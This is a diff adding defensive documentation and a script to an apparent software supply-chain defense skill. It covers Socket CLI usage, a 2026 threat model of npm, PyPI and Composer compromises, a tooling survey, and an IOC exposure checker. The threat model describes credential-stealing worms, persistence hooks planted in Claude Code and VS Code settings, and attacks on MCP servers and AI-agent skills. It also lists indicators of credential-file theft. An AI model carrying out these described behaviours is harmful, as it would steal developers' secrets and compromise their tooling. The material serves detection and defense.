+>   `socket login` they exit 2 with "This command requires a Socket API token".
+> - **But the `socket npm` / `socket npx` install wrappers work with no token.**
+>   `socket npm install is-number@7.0.0` ran the risk lookup ("Socket npm found no
+>   risks") and installed, zero auth. So the *install-time interception* path — the
+>   one that matters most — is free and account-less, like the depscore MCP remote.
+>   Reserve `socket login` for `scan` / `score` / `ci`.
+
+## Core commands
+
+| Command | Purpose |
+|---|---|
+| `socket scan create [path]` | Generate a behavioural security scan of a project's manifests |
+| `socket scan list` | List existing scans |
+| `socket scan --report` | Validate a scan against your org's security/license policies |
+| `socket scan github` | GitHub-specific scanning |
+| `socket package score <ecosystem> <name> [version]` | Retrieve a package's security score |
+| `socket ci` | Run policy-enforced scanning in a CI pipeline |
+| `socket npm` / `socket npx` | Wrapper that routes npm/npx through Socket before lifecycle scripts run |
+| `socket wrapper on` / `off` | Toggle workspace-wide aliasing of `npm`/`npx` through Socket |
+| `socket raw-npm` / `socket raw-npx` | Bypass the wrapper for one invocation |
+| `socket fix` | Apply security updates |
+| `socket optimize` | Apply package overrides |
+| `socket threat-feed` | Real-time threat intelligence feed |
+| `socket analytics` | Security-health dashboards |
+| `socket manifest` / `socket manifest cdxgen` | Manifest operations / generate via cdxgen |
+| `socket organization` / `socket repository` / `socket audit-log` | Org / repo / audit-log management |
+
+### Common flags
+
+| Flag | Effect |
+|---|---|
+| `--json` | JSON output (pipe to `jq`) |
+| `--markdown` | Markdown output |
+| `--config '<JSON>'` | Override config for this run |
+| `--dry-run` | Validate inputs without executing |
+| `--help` / `--version` | Per-command help / CLI version |
+
+## depscore MCP server — the Claude Code win (free, no key)
+
+The Socket MCP server exposes a **`depscore`** tool so an AI assistant can query a
+package's behavioural/quality score *before* suggesting you add it. Two variants:
+
+### Remote (recommended — zero auth, zero install)
+
+```bash
+claude mcp add --transport http socket-mcp https://mcp.socket.dev/
+```
+
+No API key. This is the fastest way to give Claude Code behavioural package
+scoring.
+
+### Local / self-hosted (stdio, needs a free API key)
+
+```bash
+claude mcp add socket-mcp -e SOCKET_API_KEY="your-api-key-here" \
+  -- npx -y @socketsecurity/mcp@latest
+```
+
+The only required permission scope for the API key is `packages:list` (lets the
+server query package metadata for scores). Create the key from a free Socket
+account.
+
+> Package: [`@socketsecurity/mcp`](https://socket.dev/npm/package/@socketsecurity/mcp).
+> Note the irony — you can have Socket score its own MCP package before installing
+> it.
+
+> ⚠️ **Always query depscore with the EXACT installed version, never `unknown`.**
+> Verified twice: `axios@1.14.1` (the poisoned version) returns `supplyChain: 0` —
+> caught. But querying a package with `version: unknown` resolves to the branch
+> HEAD, which missed the Laravel-Lang tag-rewrite entirely (scored it clean). When
+> scoring a project, read the exact version from the lockfile and pass that. A
+> `supplyChain` near 0 is the compromise signal; a low `vulnerability` score is a
+> CVE signal (different problem — axios@1.7.9 is malware-clean but scores 30 on
+> vulnerability from its CVE history).
+
+## GitHub app (layer 1 for PRs)
+
+Install Socket as a GitHub App on a repo. It auto-evaluates every change to
+`package.json` and other manifests; when a PR adds a dependency it leaves a comment
+indicating the risk profile. Works on the free tier including private repos
+(subject to the 1,000-scan/month cap).
+
+## Sources
+
+- CLI guide: <https://docs.socket.dev/docs/socket-cli>
+- Pricing: <https://socket.dev/pricing>
+- MCP server: <https://github.com/SocketDev/socket-mcp>
+- MCP for Claude Desktop: <https://docs.socket.dev/docs/socket-mcp-for-claude-desktop>
+- GitHub app: <https://docs.socket.dev/docs/socket-for-github>

+ 115 - 0
skills/supply-chain-defense/references/threat-model.md

@@ -0,0 +1,115 @@
+# 2026 Supply Chain Threat Model
+
+Distilled from the "Sandworms in the Registry" briefing (May 2026) and the public
+incident reporting it cites. This is the *why* behind every directive in the
+skill and the `supply-chain.md` rule.
+
+## The shift in attacker behaviour (last 90 days)
+
+Attackers stopped typosquatting and moved to compromising packages you *actually
+use*. The pattern:
+
+1. Compromise a maintainer account, **or** steal an OIDC token from a stale CI
+   workflow.
+2. Publish a poisoned version of a real, popular package (axios, an official MS
+   SDK, TanStack, …).
+3. Malware runs on `npm install` / `pip install`. It steals every credential on
+   the machine, then uses those credentials to publish more poisoned packages —
+   **it self-propagates**. It targets VS Code and Claude Code specifically and
+   writes itself into editor settings to survive reboots.
+4. By the time a CVE is published, it has been in `node_modules` for hours.
+
+## Timeline of named incidents
+
+| Date | Incident | Mechanism | Why it matters |
+|---|---|---|---|
+| 30–31 Mar 2026 | **axios** (100M weekly downloads) | Maintainer socially engineered, machine RAT'd, attacker manually published 1.14.1 / 0.30.4 with a stolen token in a 39-min window; live ~3 hours. Attributed to Sapphire Sleet (NK state actor). | Bypassed GitHub Actions OIDC Trusted Publisher safeguards by publishing manually. Every control depending on maintainer hygiene failed at once. |
+| Sep 2025 → present | **Shai-Hulud** | Self-propagating npm worm using lifecycle scripts to execute on install, harvest credentials, and republish using them. | The wormable baseline. |
+| 11 May 2026 | **Mini Shai-Hulud** (TeamPCP) — 170+ npm/PyPI packages (TanStack, Mistral AI, OpenSearch) | Entry point was an **orphaned commit in a TanStack CI workflow still configured with OIDC trust to npm**. Attacker extracted an OIDC token from the runner and exchanged it for publish access to the whole namespace. Forged **valid SLSA Build L3 provenance**. Injects persistence hooks into Claude Code + VS Code. | No phished human. A stale CI workflow was enough. Each infected `npm install` contributed CI creds the worm used to publish from *that* victim's pipeline. Blast radius compounds per install. |
+| 18 May 2026 | **Nx Console** VS Code extension (2.2M installs, verified publisher) | Briefly backdoored; collected credentials silently on opening any workspace. Auto-update pushed it to most users. | Verified-publisher status is not a safety signal. |
+| 19 May 2026 | **Microsoft `durabletask`** PyPI SDK | 3 malicious versions built locally and uploaded via `twine`. Dropper downloads a 28KB stage-2 zipapp (`rope.pyz`), steals AWS/Azure/GCP/k8s/password-manager creds + 90+ tool configs, spreads laterally. | **No provenance on any `durabletask` release**, legit or malicious — PyPI returns "No provenance available". Even MS official SDKs have zero cryptographic baseline. |
+| 19 May 2026 | **AntV wave** (TeamPCP) | 300+ malicious versions across 323 packages in a 22-minute automated burst (~16M weekly downloads). Compromised maintainer account. | 323 packages in 22 minutes — the worm's speed advantage over human review. |
+| 19–20 May 2026 | **GitHub internal breach** | ~3,800 internal repos breached after one employee installed a poisoned VS Code extension. | If it happens to GitHub (their budget, their threat intel), it happens to anyone. Developer workstations are the #1 target. |
+| 22 May 2026 | **Laravel-Lang** (Composer/Packagist) | ~700 historical git tags across 4 packages (`laravel-lang/lang`, `/attributes`, `/http-statuses`, `/actions`) **rewritten** to point at a malicious commit in an attacker fork. Payload injected into Composer `autoload.files` (`helpers.php`) — runs on every PHP request. Credential stealer (cloud keys, CI tokens, SSH, env, wallets). | Composer/PHP is in scope too. Two nasty firsts below. |
+
+### Why the Laravel-Lang pattern defeats naive defenses
+
+- **Tag rewriting, not new versions.** The attacker rewrote *existing historical
+  tags* to new commits. So the "bad version" carries an **old, aged version number**
+  — a release-age **cooldown keys off publish date and is fooled**. Every version is
+  suspect, which is why the IOC catalog uses `versions:["*"]` for it.
+- **`autoload.files`, not a lifecycle script.** The payload runs via Composer's
+  autoloader on every request — **`composer install --no-scripts` does NOT stop it**
+  (it's not a script hook). The npm-world `ignore-scripts` reflex fails here.
+- **What actually protects you:** a **committed `composer.lock` that predates the
+  compromise** — it pins the dist URL + reference SHA + integrity, so `composer
+  install` from it won't pull the rewritten tag. The danger is `composer update`,
+  an unpinned fresh `composer install`, or a lock generated after the rewrite.
+
+## Why each legacy control fails
+
+| Control | Why it does **not** catch this |
+|---|---|
+| Lockfiles (`package-lock.json`, `composer.lock`) | Pin versions but don't validate behaviour. A fresh unconstrained install can still pull the malicious `latest`. Pinning only protects if the pin pre-dates the compromise *and* you never run unconstrained installs. |
+| `npm audit` / `pip-audit` | Rely on CVE/NVD advisories, which largely don't cover *malicious* packages and are published *after* detection. In wormable attacks the malicious version is often the newest, spreading before any signature exists. |
+| 2FA on maintainer accounts | Bypassed in Mini Shai-Hulud via OIDC token exchange from CI. No human touched the 2FA prompt. |
+| Code signing / provenance (Sigstore, SLSA) | Forged. Stolen OIDC tokens drove the legitimate Sigstore stack to mint **valid Build L3 attestations** for malicious packages. Valid provenance ≠ safe. |
+| Snyk / CVE-based SCA | Excellent at CVEs; not designed to detect zero-day malicious behaviour in a freshly published package. Different problem. |
+| Manual dependency review | Does not scale to hundreds of transitive deps and every `postinstall` hook. |
+
+**The gap:** the window between "published to registry" and "malicious behaviour
+detected + advisory issued" — typically 30 min to 6 hours. Only behavioural
+analysis of what the package *does* (new install scripts, unexpected network
+calls, env-var harvesting, obfuscated payloads) closes it, because those signals
+are present at publication time; CVE assignment takes days.
+
+## Coverage — which control catches which vector
+
+Every distinct 2026 attack vector mapped to the control in this skill, with the
+honest caveat. No single control is sufficient; the layering is the point.
+
+| # | Attack vector (incident) | Primary control(s) here | Honest caveat |
+|---|---|---|---|
+| 1 | Compromised maintainer → poisoned version (axios, AntV, durabletask) | Behavioural scan: depscore MCP / GuardDog / Socket GitHub app, **+ 7-day cooldown** (`preinstall-check.sh`), **+ post-advisory** `exposure-check.py` | Scanning can miss if the scanner hasn't analysed that exact version yet; cooldown is the backstop |
+| 2 | Stale-OIDC token theft from CI (Mini Shai-Hulud / TanStack) | `zizmor` + `integrity-audit.sh` flag `id-token: write` / `pull_request_target`; revoke trust + rotate (workflow D/F) | Detection only — you must actually revoke |
+| 3 | Lifecycle-script execution on install (Shai-Hulud `postinstall`) | `ignore-scripts`, `socket npm` wrapper, `pre-install-scan.sh` hook | Doesn't stop runtime-autoload payloads (see #9) |
+| 4 | Worm self-propagation via stolen CI creds | OIDC hygiene + short-lived tokens + Harden-Runner egress control | Limits/detects; can't undo a leaked token — rotate |
+| 5 | **Persistence in Claude Code / VS Code settings** | `integrity-audit.sh` scans Claude Code/Desktop, Gemini, MCP host JSON + VS Code/Cursor/Windsurf/VSCodium settings | Detection after the fact — treat a hit as an incident |
+| 6 | CVE-lag window (advisory issued hours late) | Behavioural scanning (the core thesis) — verdict in seconds, not days | The whole reason `npm audit` alone is insufficient |
+| 7 | Forged SLSA / Sigstore provenance | Treated as **one signal only**; behavioural verdict required regardless. `npm audit signatures` documented | Valid provenance ≠ safe — never trust it alone |
+| 8 | PyPI zero-provenance dropper (durabletask `rope.pyz`) | Behavioural scan flags the dropper/obfuscation; `exposure-check.py` (pypi) post-advisory | PyPI has no provenance baseline to fall back on |
+| 9 | Composer **tag-rewrite + `autoload.files`** (Laravel-Lang) | `exposure-check.py` (composer + `*` wildcard); pinned `composer.lock`; threat-model doc | `--no-scripts`/`ignore-scripts` useless here; cooldown fooled by aged tags |
+| 10 | **Malicious editor extension** (Nx Console 18.95.0 → GitHub 3,800-repo breach) | `exposure-check.py` IOC match + `scan-extensions.sh` inventory/recency + `--deep` GuardDog behavioural | Extensions ship minified → even AST scanning is best-effort; inventory + recency + IOC is the backbone |
+| 11 | MCP server / AI-agent-skill attacks | `integrity-audit.sh` flags injected `mcpServers`; `scan-extensions.sh` inventories plugins (pinned SHA) + skills with recency, `--deep` behaviourally scans source; depscore scores packages | Plugin/skill *source* is scannable (un-minified); MCP-server runtime behaviour still not sandboxed |
+
+If a new vector appears, add a row here and a control — this table is the skill's
+definition of "complete."
+
+## Indicators of compromise (what behavioural scanners flag)
+
+- A `postinstall` / `preinstall` / `prepare` hook that did **not** exist in the
+  previous version.
+- A sudden network call to a domain not previously associated with the package.
+- A new dependency on a credential-adjacent or obfuscation helper (the attacks
+  used droppers like `rope.pyz`, plain-crypto helpers, etc.).
+- Obfuscated / minified payloads in a package that previously shipped readable
+  source.
+- Writes to `~/.claude/settings.json`, `~/.claude.json`, VS Code `settings.json`,
+  or shell rc files during install (persistence).
+- Reads of cloud credential files (`~/.aws`, `~/.config/gcloud`, kube configs),
+  `.npmrc` / `.pypirc` (publish tokens), or password-manager stores.
+
+## What the next 12 months look like
+
+- More wormable variants targeting Composer, RubyGems, Cargo, Maven Central.
+- More direct attacks on developer tooling: extensions, MCP servers, **AI agent
+  skills** (Socket benchmarked its detector against 382 known-malicious skills).
+- More attacks on AI-adjacent packages specifically — OpenAI/Anthropic keys and
+  hosted-model cloud creds on AI builders' machines have immediate cash value.
+- Harder procurement/insurance questions. "We use behavioural package scanning on
+  every dependency change" becomes a standard security-questionnaire answer.
+
+The worm source is public (TeamPCP ran a $1,000 Monero "supply chain attack
+contest" on BreachForums with the source attached); copycats are already
+observed. A behavioural scanning control is not optional 18 months out — move
+while the cost is hours and a few hundred dollars a month, or $0 on the free tier.

+ 305 - 0
skills/supply-chain-defense/references/tooling-landscape.md

@@ -0,0 +1,305 @@
+# Supply Chain Tooling Landscape
+
+Socket.dev is the behavioural-scanning leader, but a single vendor is not defense
+in depth. This file maps the wider ecosystem — **almost all free / open-source** —
+onto the four layers (detection, interception, hygiene, self-integrity) so you can
+reach for the right tool per concern and avoid mono-sourcing.
+
+## Contents
+
+1. [The picture in one table](#the-picture-in-one-table)
+2. [Layer 1 — detection](#layer-1--detection)
+3. [Layer 2 — interception](#layer-2--interception)
+4. [Layer 3 — hygiene](#layer-3--hygiene)
+5. [Layer 4 — self-integrity](#layer-4--self-integrity)
+6. [When to use which](#when-to-use-which)
+7. [How the controls interact](#how-the-controls-interact)
+8. [Minimum viable set + dependency note](#minimum-viable-set--dependency-note)
+
+## The picture in one table
+
+| Tool | Layer | Cost | Engine | Covers |
+|---|---|---|---|---|
+| **Socket.dev** | 1 | Free CLI + $0 tier; paid for scale | Behavioural (static + LLM), hosted feed | npm, PyPI, Go, Maven, RubyGems |
+| **GuardDog** (Datadog) | 1 | Free / OSS | Behavioural heuristics + Semgrep rules, local | npm, PyPI, GitHub Actions |
+| **OSV-Scanner** (Google) | 1 | Free / OSS | CVE/advisory (OSV.dev) | ~broad: npm, PyPI, Go, Maven, crates, …|
+| **`npm audit` / `pip-audit`** | 1 | Free / built-in | CVE/advisory | npm / PyPI |
+| **`npm audit signatures`** | 1 | Free / built-in | Registry signature + provenance check | npm |
+| **`ignore-scripts` config** | 2 | Free / built-in | Disables lifecycle scripts | npm, pnpm, yarn |
+| **`socket` wrapper** | 2 | Free | Intercepts install pre-execution | npm / npx |
+| **lockfile-lint** | 2 | Free / OSS | Lockfile URL/host/https/integrity validation | npm, yarn |
+| **zizmor** (Trail of Bits) | 3 | Free / OSS | Static analysis of GitHub Actions | GHA workflows |
+| **Harden-Runner** (StepSecurity) | 2/3 | Free for public repos | Runtime egress monitoring/blocking on CI runners | GitHub Actions runners |
+| **gitleaks** | 3 | Free / OSS | Secret scanning (token leak detection) | any repo |
+| **Trivy** (Aqua) | 1/3 | Free / OSS | SCA + IaC + secrets + container | many |
+| **Bumblebee** (Perplexity) | 4 | Free / OSS | On-disk inventory + IOC catalog match | npm/pypi/go/rubygems/composer + editor & browser extensions + MCP (**macOS/Linux only**) |
+| **`exposure-check.py`** (this skill) | 4 | Free | IOC catalog match, cross-platform | npm + pypi (runs on Windows, where Bumblebee can't) |
+
+> The whole table reinforces the thesis: **you can stand up real defense in depth
+> at $0.** Paid tiers buy noise-reduction and scale, not the core capability.
+
+## Layer 1 — detection
+
+### Socket.dev (lead behavioural)
+
+Hosted engine that clones registries in real time and runs static + LLM analysis
+on every new package within seconds of publication. Free CLI, free $0 account
+tier, no-key depscore MCP. Full command surface and pricing in
+`references/socket-cli.md`. **Use as the primary PR/merge gate and the Claude Code
+package-scoring source.**
+
+### GuardDog (Datadog) — the free local behavioural second opinion
+
+Open-source CLI using source-code heuristics (Semgrep rules + metadata checks) to
+flag malicious packages: suspicious `postinstall`/`setup.py` code, base64-encoded
+exec, network exfiltration, obfuscation, npm/PyPI metadata anomalies. Runs fully
+locally — no account, no telemetry.
+
+```bash
+uv tool install guarddog         # or: pipx install guarddog
+guarddog npm scan <package>      # scan a published package (registry)
+guarddog npm scan ./local-pkg --exit-non-zero-on-finding   # scan a local dir; exit 1 on findings
+guarddog pypi scan <package>
+guarddog npm verify package-lock.json   # scan a whole lockfile
+guarddog github_action scan .    # workflow heuristics
+```
+
+**Do you need it alongside Socket?** For most single-dev / small-team setups,
+**no — Socket is the daily driver** and GuardDog is redundant on the routine
+"score before I add it" path. Reach for GuardDog *situationally*, not in parallel:
+
+- **Privacy / air-gapped** — analysis is local; package names never leave the
+  machine (Socket is a hosted service).
+- **Second, auditable opinion** on a specific suspicious package — open-source
+  Semgrep/YARA rules you can read, vs Socket's proprietary + LLM engine.
+- **No-account / offline CI** where a hosted scanner isn't permitted.
+
+What Socket has that GuardDog doesn't: a real-time registry feed that flags fresh
+malware before advisories exist. What GuardDog has: local execution and auditable
+rules. (Verified: GuardDog caught `npm-exec-base64`, `npm-serialize-environment`,
+and `npm-exfiltrate-sensitive-data` with `file:line` citations on a crafted
+package.)
+
+> ⚠️ **Windows gotchas (verified):**
+> 1. GuardDog reads its rule YAMLs without forcing UTF-8 and crashes on cp1252 —
+>    run it with `PYTHONUTF8=1 guarddog …` (or set `PYTHONUTF8=1` for the session).
+> 2. Its source-code rules (the behavioural ones — base64-exec, exfil) shell out to
+>    **`semgrep`**, which must be on PATH (`uv tool install semgrep`). **Without it,
+>    GuardDog prints `Found 0 potentially malicious indicators` and exits 0** with
+>    only a buried "Some rules failed to run" warning — a dangerous *false-clean*.
+>    Always confirm semgrep is present before trusting a clean GuardDog result.
+
+### OSV-Scanner (Google) — broad CVE coverage
+
+Open-source scanner against [OSV.dev](https://osv.dev), which aggregates advisories
+across far more ecosystems than `npm audit` alone. CVE-based (so it shares the
+advisory-lag blind spot), but a stronger CVE layer than per-ecosystem audit tools.
+
+```bash
+# install: scoop install osv-scanner | brew install osv-scanner |
+#          go install github.com/google/osv-scanner/v2/cmd/osv-scanner@latest  (note the /v2)
+osv-scanner scan --lockfile requirements.txt   # also: package-lock.json, go.mod, Cargo.lock, …
+osv-scanner scan -r .            # recursive, all manifests; exit 1 when vulns found
+```
+
+**Use as** the CVE-side complement to `security-ops` — broader and faster than
+`npm audit`/`pip-audit`. Pair with a behavioural scanner; do not rely on it alone.
+
+### `npm audit signatures`
+
+Verifies that installed packages match the registry's signatures and (where
+present) provenance attestations. Remember the threat model: valid provenance was
+**forged** in 2026, so a pass is necessary-not-sufficient. Cheap to run; treat as
+one signal among several.
+
+## Layer 2 — interception
+
+### `ignore-scripts` — the cheapest mitigation that exists
+
+Lifecycle scripts (`preinstall`/`postinstall`/`prepare`, sdist `setup.py`) are the
+worm's execution vector. Disabling them removes it for projects that don't need
+them:
+
+```bash
+npm config set ignore-scripts true                 # npm, global
+# package.json / .npmrc:  ignore-scripts=true
+# pnpm (.npmrc):          enable-pre-post-scripts=false
+# yarn (.yarnrc.yml):     enableScripts: false
+```
+
+Trade-off: some packages legitimately need build steps (native modules). Allow them
+explicitly (`npm rebuild <pkg>` / pnpm `onlyBuiltDependencies`) rather than leaving
+scripts globally on.
+
+> ⚠️ **`ignore-scripts` is not universal.** It stops *lifecycle-script* payloads
+> (`postinstall` etc.). It does **nothing** against a payload wired into a runtime
+> autoloader — e.g. the Laravel-Lang Composer attack injected `helpers.php` into
+> `autoload.files`, which runs on every PHP request, so `composer install
+> --no-scripts` would not have helped. For Composer the real protection is a
+> committed `composer.lock` predating the compromise (pins reference SHA + dist +
+> integrity) and never blindly `composer update`-ing.
+
+### lockfile-lint — detect lockfile injection
+
+Validates that resolved URLs in a lockfile point at the expected registry over
+https with integrity hashes — catches a tampered lockfile redirecting a package to
+an attacker host.
+
+```bash
+npx lockfile-lint --path package-lock.json --allowed-hosts npm --validate-https
+```
+
+### `socket` wrapper
+
+`socket npm install …` / `socket wrapper on` — intercepts a risky install before
+lifecycle scripts run. See `references/socket-cli.md`.
+
+## Layer 3 — hygiene
+
+### zizmor (Trail of Bits) — the OIDC/workflow auditor
+
+Open-source static analyzer for GitHub Actions. It detects exactly the class of
+misconfiguration Mini Shai-Hulud abused: dangerous `pull_request_target` triggers,
+over-broad `id-token`/token permissions, template injection, credential
+persistence, and cache-poisoning vectors.
+
+```bash
+uv tool install zizmor           # or: pipx install zizmor
+zizmor .github/workflows/        # audit all workflows
+zizmor --format sarif . > zizmor.sarif
+```
+
+**Use as** the engine behind the OIDC-audit workflow (replaces hand-rolled `rg`).
+`scripts/integrity-audit.sh` invokes `zizmor` automatically when it's installed.
+
+### Harden-Runner (StepSecurity) — runtime CI egress control
+
+A GitHub Action that instruments the runner to monitor (and optionally block)
+outbound network traffic, file writes, and process events. If a compromised
+dependency tries to exfiltrate the OIDC token or phone home to C2 during a CI run,
+Harden-Runner surfaces or blocks it. Free for public repositories.
+
+```yaml
+# .github/workflows/*.yml — first step in the job
+- uses: step-security/harden-runner@v2
+  with:
+    egress-policy: audit        # start in audit, tighten to 'block' with an allowlist
+```
+
+**Use when** your CI publishes or holds any credential — it's the runtime backstop
+for the token-theft vector that pinning and scanning don't cover.
+
+### gitleaks
+
+Secret scanning to catch leaked npm/PyPI/cloud tokens before they ship. Already
+used by `git-ops`' push gate. Relevant here for the token-rotation workflow.
+
+## Layer 4 — self-integrity + exposure response
+
+Two distinct questions here: "has the worm persisted on this machine?" and "do we
+already have a named-bad package installed?"
+
+### Persistence detection
+
+`scripts/integrity-audit.sh` (this skill) scans AI-tool configs (Claude Code +
+Desktop, Gemini, MCP host JSON) and editor settings (VS Code, Cursor, Windsurf,
+VSCodium) for injected persistence hooks/MCP servers, and flags workflows with live
+OIDC trust (running `zizmor` when present). The host-config map is drawn from
+Bumblebee's `docs/inventory-sources.md`.
+
+### Exposure response — Bumblebee + exposure-check.py
+
+When an advisory names a poisoned package + version, you need to know which
+machines/projects have it on disk *right now*.
+
+- **Bumblebee** (Perplexity, Apache-2.0, Go, **macOS/Linux**) is the fleet-scale
+  tool: a read-only inventory collector that walks lockfiles, package-manager
+  metadata, editor + browser extensions, and MCP host configs, emits NDJSON, and —
+  given an `--exposure-catalog` of known-bad `{ecosystem, package, versions[]}` —
+  flags exact matches. Built for incident response across many developer endpoints.
+
+  ```sh
+  go install github.com/perplexityai/bumblebee/cmd/bumblebee@latest   # Go 1.25+
+  bumblebee scan --profile deep --root "$HOME" --exposure-catalog ./catalog.json --findings-only
+  ```
+
+- **`scripts/exposure-check.py`** (this skill) is the **cross-platform local
+  equivalent** — it runs on Windows, where Bumblebee doesn't, and reuses Bumblebee's
+  exposure-catalog JSON shape so a catalog is portable between them. Narrower
+  coverage (npm + pypi), but the same "am I exposed to this advisory?" answer:
+
+  ```bash
+  python scripts/exposure-check.py --root ~/code --json | jq '.data.findings[]'
+  ```
+
+  Seed `assets/exposure-catalog.json` from advisories as incidents break (it ships
+  with cited 2026 IOCs). **Verified:** flags axios 1.14.1 in a lockfile with exit 10.
+
+Reach for Bumblebee at fleet scale on macOS/Linux; `exposure-check.py` for a quick
+local check anywhere including Windows.
+
+## When to use which
+
+- **Before adding a dependency** → Socket depscore (MCP/CLI) + optionally GuardDog
+  for an offline second opinion; `scripts/preinstall-check.sh` for release age.
+- **On every PR** → Socket GitHub app (behavioural) + OSV-Scanner (CVE breadth).
+- **At the install command** → `socket` wrapper or `ignore-scripts`; `lockfile-lint`
+  on the committed lockfile.
+- **Auditing CI** → zizmor (static workflow analysis) + Harden-Runner (runtime
+  egress). Rotate tokens; gitleaks for leaks.
+- **Checking this machine** → `scripts/integrity-audit.sh`.
+
+Mono-sourcing on any one tool recreates a single point of failure. The 2026 worms
+adapted to each defensive response in turn — layered, multi-engine coverage is the
+point.
+
+## How the controls interact
+
+These do **not** form a pipeline — nothing pipes one tool's output into another.
+They are independent verdicts at different points in a dependency's lifecycle, with
+deliberate redundancy at the two highest-value chokepoints.
+
+| Lifecycle stage | Control(s) | How they relate |
+|---|---|---|
+| Considering a package | Socket depscore (primary); GuardDog *situational* | **Overlapping** — Socket is the daily driver; add GuardDog only for offline/privacy/auditable second opinions, not a parallel daily run |
+| Is it too new? | `preinstall-check.sh` | Orthogonal — answers release age, not maliciousness |
+| Install runs | `ignore-scripts` / socket wrapper / `pre-install-scan.sh` | Alternatives at one point; `ignore-scripts` is the most aggressive (kills all lifecycle scripts) |
+| Lockfile committed | lockfile-lint | Orthogonal — validates the lock's resolved URLs, not the package contents |
+| PR opened | Socket app **+** OSV-Scanner | Complementary — behavioural vs CVE breadth. **OSV supersedes `npm audit`** (run one, not both) |
+| CI runs | zizmor **+** Harden-Runner | **Complementary, not redundant** — zizmor fixes the misconfigured door (static, pre-run); Harden-Runner alarms if someone walks through (runtime egress) |
+| This machine | `integrity-audit.sh` | Orthogonal — the victim side |
+
+**The only real integration:** `integrity-audit.sh` invokes `zizmor` when it's on
+PATH (and degrades to a weaker `rg` check, loudly, when it isn't).
+
+**The one conflict to plan for:** Harden-Runner's `egress-policy: block` will choke
+`socket ci`, installs, and anything that phones a registry — you must allowlist the
+package registry plus `api.socket.dev` / `mcp.socket.dev` when you tighten it. Start
+in `audit` mode, learn the baseline, then block with an allowlist.
+
+**Overlap summary:** redundant pairs (Socket/GuardDog, Socket/OSV at the PR) are
+intentional — different engines, different blind spots. Complementary pairs
+(zizmor/Harden-Runner) cover different phases. OSV is an upgrade over `npm audit`,
+not an addition to it.
+
+## Minimum viable set + dependency note
+
+**This is a menu, not a mandatory stack.** Running all of it on every project is
+overkill. The minimum viable set — all free, ~1 hour to stand up — is four things:
+
+1. depscore MCP in Claude Code (`claude mcp add --transport http socket-mcp https://mcp.socket.dev/`)
+2. Socket GitHub app on the repo
+3. Renovate `minimumReleaseAge: 7 days` on production deps
+4. `npm config set ignore-scripts true` where build hooks aren't needed
+
+Everything beyond that is situational: add GuardDog when you want an offline second
+engine, OSV when you need CVE breadth across many ecosystems, zizmor + Harden-Runner
+when CI holds publish credentials.
+
+**None of these are dependencies of this skill.** The skill is markdown + bash. Its
+scripts require only baseline tooling (bash, coreutils, `curl`; `jq` only for
+`--json`) and treat every supply-chain tool above as optional — `command -v`-gated
+with graceful fallback (`preinstall-check.sh` runs without `socket`;
+`integrity-audit.sh` runs without `zizmor`, telling you it's the weaker check). You
+can adopt zero, some, or all of the tools without affecting whether the skill loads
+or its scripts run.

+ 362 - 0
skills/supply-chain-defense/scripts/exposure-check.py

@@ -0,0 +1,362 @@
+#!/usr/bin/env python3
+"""Match on-disk installed packages against an IOC exposure catalog.
+
+Answers the post-advisory question: "an advisory named package X@Y — do we
+have it installed right now, and where?" Cross-platform (works on Windows,
+unlike Perplexity's Bumblebee, whose exposure-catalog JSON format this borrows).
+Reads lockfiles + installed metadata across npm (package-lock / pnpm-lock /
+yarn.lock), PyPI, Composer, Cargo, Go, and RubyGems, plus installed editor
+extensions; no package-manager execution, no network, no source reads.
+
+Usage: exposure-check.py [--catalog PATH] [--root DIR]... [--json] [--findings-only]
+
+Input:   --root dirs (default: cwd); --catalog file or dir of *.json
+         (default: bundled assets/exposure-catalog.json)
+Output:  stdout = findings (or all components), NDJSON-ish JSON with --json
+Stderr:  progress, summary, errors
+Exit:    0 no exposure, 2 usage, 3 catalog-not-found, 4 invalid-catalog,
+         10 EXPOSURE FOUND (>=1 installed package matches the catalog)
+
+Examples:
+  exposure-check.py --root ~/code
+  exposure-check.py --root . --json | jq '.data.findings[]'
+  exposure-check.py --catalog ./my-iocs.json --root /srv/app --findings-only
+"""
+import argparse, json, os, re, sys
+from pathlib import Path
+from typing import NoReturn
+
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_INVALID, EXIT_EXPOSED = 0, 2, 3, 4, 10
+SKIP_DIRS = {".git", ".hg", ".svn", "worktrees"}
+DEFAULT_CATALOG = Path(__file__).resolve().parent.parent / "assets" / "exposure-catalog.json"
+
+
+def log(msg): print(msg, file=sys.stderr)
+
+
+def die(msg, code) -> NoReturn:
+    log(f"ERROR: {msg}")
+    sys.exit(code)
+
+
+def load_catalog(path: Path):
+    files = []
+    if path.is_dir():
+        files = sorted(path.glob("*.json"))
+    elif path.is_file():
+        files = [path]
+    if not files:
+        die(f"catalog not found: {path}", EXIT_NOT_FOUND)
+    entries, ver = [], None
+    for f in files:
+        doc = {}
+        try:
+            doc = json.loads(f.read_text(encoding="utf-8"))
+        except (json.JSONDecodeError, OSError) as e:
+            die(f"invalid catalog {f}: {e}", EXIT_INVALID)
+        if ver is None:
+            ver = doc.get("schema_version")
+        elif doc.get("schema_version") != ver:
+            die(f"schema_version mismatch across catalogs: {f}", EXIT_INVALID)
+        entries.extend(doc.get("entries", []))
+    # index: (ecosystem, lowercased package name) -> {version: entry}
+    index = {}
+    for e in entries:
+        key = (e.get("ecosystem", ""), str(e.get("package", "")).lower())
+        index.setdefault(key, {})
+        for v in e.get("versions", []):
+            index[key][str(v)] = e
+    return index, ver, len(entries)
+
+
+def walk(roots):
+    for root in roots:
+        base = Path(root).expanduser()
+        if not base.exists():
+            log(f"[warn] root does not exist: {base}")
+            continue
+        for dirpath, dirnames, filenames in os.walk(base):
+            dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
+            yield Path(dirpath), filenames
+
+
+def add(components, ecosystem, name, version, source):
+    if name and version:
+        components.append({"ecosystem": ecosystem, "name": str(name),
+                           "version": str(version), "source": str(source)})
+
+
+def parse_npm_lock(path: Path, components):
+    try:
+        doc = json.loads(path.read_text(encoding="utf-8"))
+    except (json.JSONDecodeError, OSError):
+        return
+    # lockfileVersion 2/3: packages{} keyed by "node_modules/<name>"
+    for pkgpath, meta in (doc.get("packages") or {}).items():
+        if not pkgpath:
+            continue  # root package entry ""
+        name = pkgpath.split("node_modules/")[-1]
+        add(components, "npm", name, meta.get("version"), path)
+    # lockfileVersion 1: dependencies{} (recursive)
+    def walk_deps(deps):
+        for name, meta in (deps or {}).items():
+            add(components, "npm", name, meta.get("version"), path)
+            walk_deps(meta.get("dependencies"))
+    walk_deps(doc.get("dependencies"))
+
+
